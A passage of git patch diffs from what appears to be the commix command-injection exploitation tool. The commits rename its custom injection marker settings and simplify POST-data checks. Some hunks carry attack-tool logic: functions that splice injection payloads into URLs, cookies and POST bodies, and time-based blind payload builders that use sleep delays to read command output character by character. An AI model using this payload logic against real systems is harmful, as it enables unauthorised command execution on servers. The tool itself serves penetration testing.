injection marker character ('*'). """ -def check_custom_injection_marker(url, http_request_method): - if url and settings.WILDCARD_CHAR in url: +def process_custom_injection_data(data): + if settings.CUSTOM_INJECTION_MARKER != None: + _ = [] + for data in data.split("\\n"): + if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: + if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") + elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + _.append(data) + data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") + data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + return data + +""" +Check for custom injection marker character ('*'). +""" +def custom_injection_marker_character(url, http_request_method): + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True if menu.options.data: settings.IGNORE_USER_DEFINED_POST_DATA = True - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True else: option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True - elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: - settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True + if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = True + elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + settings.CUSTOM_INJECTION_MARKER = settings.USER_AGENT_INJECTION = True + elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + settings.CUSTOM_INJECTION_MARKER = settings.REFERER_INJECTION = True + elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + settings.CUSTOM_INJECTION_MARKER = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: - settings.WILDCARD_CHAR_APPLIED = True + settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True return False - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: while True: - message = "Custom injection marker ('" + settings.WILDCARD_CHAR + "') found in " + option +". " + message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: @@ -397,7 +414,7 @@ def check_boundaries_value(parameter, value, http_request_method): return _ while True: message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" - message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " + message += " ('" + str(value.replace(_ ,_ + settings.CUSTOM_INJECTION_MARKER_CHAR)) + "') [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.INJECT_INSIDE_BOUNDARIES = True @@ -438,7 +455,7 @@ def PCRE_e_modifier(parameter, http_request_method): while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" - message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " + message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.CUSTOM_INJECTION_MARKER_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: return original_parameter + settings.PCRE_MODIFIER[1:2] @@ -1108,23 +1125,6 @@ def enable_all_enumeration_options(): # Retrieve system users password hashes. menu.options.passwords = True -""" -Do check for injection marker. -""" -def wildcard_character(data): - if settings.WILDCARD_CHAR_APPLIED != None: - _ = [] - for data in data.split("\\n"): - if not data.startswith(settings.ACCEPT) and settings.WILDCARD_CHAR in data: - if menu.options.test_parameter != None and settings.WILDCARD_CHAR_APPLIED == False: - data = data.replace(settings.WILDCARD_CHAR, "") - elif settings.WILDCARD_CHAR_APPLIED: - data = data.replace(settings.WILDCARD_CHAR, settings.ASTERISK_MARKER) - _.append(data) - data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) - return data - """ Check provided parameters for tests """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index aef80e6cee..05996d6799 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -667,13 +667,13 @@ def data_checks(url, http_request_method, filename, timesec): Perform HTTP Headers parameters checks """ def headers_checks(url, http_request_method, filename, timesec): - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: - settings.COOKIE_INJECTION = True - + if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: + if menu.options.cookie: + settings.COOKIE_INJECTION = True if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: cookie_injection(url, http_request_method, filename, timesec) - if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: settings.HTTP_HEADERS_INJECTION = True if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): @@ -684,11 +684,11 @@ def headers_checks(url, http_request_method, filename, timesec): if len(settings.CUSTOM_HEADERS_NAMES) != 0: settings.CUSTOM_HEADER_INJECTION = True for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.WILDCARD_CHAR in _.split(": ")[1] and not settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_HEADER_INJECTION = False else: settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.WILDCARD_CHAR,"") + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) @@ -728,12 +728,12 @@ def perform_checks(url, http_request_method, filename): if menu.options.shellshock: menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL else: - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.WILDCARD_CHAR_APPLIED != True: + if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True: menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) _ = True - if not settings.WILDCARD_CHAR_APPLIED: + if not settings.CUSTOM_INJECTION_MARKER: data_checks(url, http_request_method, filename, timesec) _ = False headers_checks(url, http_request_method, filename, timesec) diff --git a/src/core/main.py b/src/core/main.py index 4b52e81ac6..eb577e6a85 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -155,7 +155,7 @@ def examine_request(request, url): print(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" - err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' " + err_msg += " '--header=\"HEADER_NAME: " + settings.CUSTOM_INJECTION_MARKER_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -213,7 +213,7 @@ def init_request(url, http_request_method): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) - settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) + settings.CUSTOM_INJECTION_MARKER = checks.custom_injection_marker_character(url, http_request_method) # Check connection(s) checks.check_connection(url) return request @@ -329,8 +329,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: - settings.WILDCARD_CHAR_APPLIED = False + if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: + settings.CUSTOM_INJECTION_MARKER = False # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 09a1d86947..67b852ba78 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -349,11 +349,11 @@ def do_check(request): if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS - # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. if menu.options.headers: - extra_headers = checks.wildcard_character(menu.options.headers) + extra_headers = checks.process_custom_injection_data(menu.options.headers) elif menu.options.header: - extra_headers = checks.wildcard_character(menu.options.header) + extra_headers = checks.process_custom_injection_data(menu.options.header) extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -400,7 +400,7 @@ def do_check(request): http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.WILDCARD_CHAR,"") + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") request.add_header(http_header_name, http_header_value) if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3ef25601c8..17033f5b09 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -48,13 +48,13 @@ def multi_params_get_value(parameter): return value if settings.USER_DEFINED_POST_DATA: - if settings.WILDCARD_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and not checks.process_non_custom(): return False if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - url = checks.wildcard_character(url) + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: @@ -186,10 +186,10 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -273,8 +273,8 @@ def json_format(parameter): parameter = json.dumps(parameter) return parameter - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + parameter = checks.process_custom_injection_data(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") # Check if JSON Object. if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): @@ -451,7 +451,7 @@ def vuln_POST_param(parameter, url): parameters = ''.join(parameters.split(", ")[-1:]).strip() parameters = ''.join(parameters.split(":")[0]).strip() settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: settings.TEST_PARAMETER = vuln_parameter # XML data format. @@ -460,15 +460,15 @@ def vuln_POST_param(parameter, url): for item in parameters: if settings.INJECT_TAG in item: result = re.sub(re.compile('<.*?>'), '', item) - if not settings.WILDCARD_CHAR_APPLIED and settings.WILDCARD_CHAR in item: - item = item.replace(settings.WILDCARD_CHAR,"") + if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: + item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -481,10 +481,10 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = vuln_parameter - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -516,7 +516,7 @@ def prefixes(payload, prefix): # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE - if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0: + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: testable_value = "" if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload @@ -552,8 +552,8 @@ def multi_params_get_value(parameter): value = ''.join(value) return value - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - cookie = checks.wildcard_character(cookie) + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + cookie = checks.process_custom_injection_data(cookie) try: multi_parameters = cookie.split(settings.COOKIE_DELIMITER) except ValueError as err_msg: @@ -647,10 +647,10 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] - if settings.WILDCARD_CHAR_APPLIED: + if settings.CUSTOM_INJECTION_MARKER: try: settings.TEST_PARAMETER = inject_cookie - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") diff --git a/src/utils/settings.py b/src/utils/settings.py index cae508cda0..cc19cd7604 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -365,15 +365,14 @@ class HEURISTIC_TEST(object): # User-defined stored POST data. USER_DEFINED_POST_DATA = "" - # Ignore user-defined stored POST data. IGNORE_USER_DEFINED_POST_DATA = False -# The wildcard character -WILDCARD_CHAR = "*" +# Custom injection marker +CUSTOM_INJECTION_MARKER_CHAR = "*" +CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -WILDCARD_CHAR_APPLIED = False -POST_WILDCARD_CHAR = "" +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From c9c0306778263834d89e69aeb7e2bd41efe77416 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 23 Apr 2024 07:18:01 +0300 Subject: [PATCH 0427/1023] Minor code refactoring --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../blind/techniques/time_based/tb_injector.py | 8 ++++---- .../blind/techniques/time_based/tb_payloads.py | 14 +++++++------- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 12 ++++++------ .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 8 ++++---- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 8 ++++---- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 8 ++++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 8 ++++---- .../techniques/tempfile_based/tfb_payloads.py | 16 ++++++++-------- src/core/requests/requests.py | 10 +++++----- src/utils/settings.py | 2 +- 16 files changed, 53 insertions(+), 53 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 46f193ebc2..5388687dd9 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -366,7 +366,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 6b7b9c75d4..e897fd20c1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -46,12 +46,12 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -96,14 +96,14 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b3d4ed0fe9..c866b1d341 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -128,7 +128,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -202,7 +202,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -262,7 +262,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -339,7 +339,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -400,7 +400,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -468,7 +468,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me "sleep " + str(timesec) ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : @@ -524,7 +524,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) - #if menu.options.data: + separator = _urllib.parse.unquote(separator) elif separator == "||" : diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8413f5512f..eb3c6407cf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -76,7 +76,7 @@ def check_waf(url, http_request_method): else: payload = settings.PARAMETER_DELIMITER + payload url = url + payload - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: request = _urllib.request.Request(url, method=http_request_method) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 05996d6799..80930e687c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -96,7 +96,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -104,8 +104,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) @@ -158,7 +158,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) else: data = None @@ -166,8 +166,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif not settings.IGNORE_USER_DEFINED_POST_DATA and settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 7df74bc83d..f20a5e13fc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -243,7 +243,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ header_name = "" the_type = " parameter" # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 598a672c70..de6a02ac17 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,13 +46,13 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: if settings.SINGLE_WHITESPACE in payload: payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if len(settings.USER_DEFINED_POST_DATA) != 0: + if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: request = _urllib.request.Request(target, method=http_request_method) @@ -200,13 +200,13 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if len(settings.USER_DEFINED_POST_DATA) == 0 or 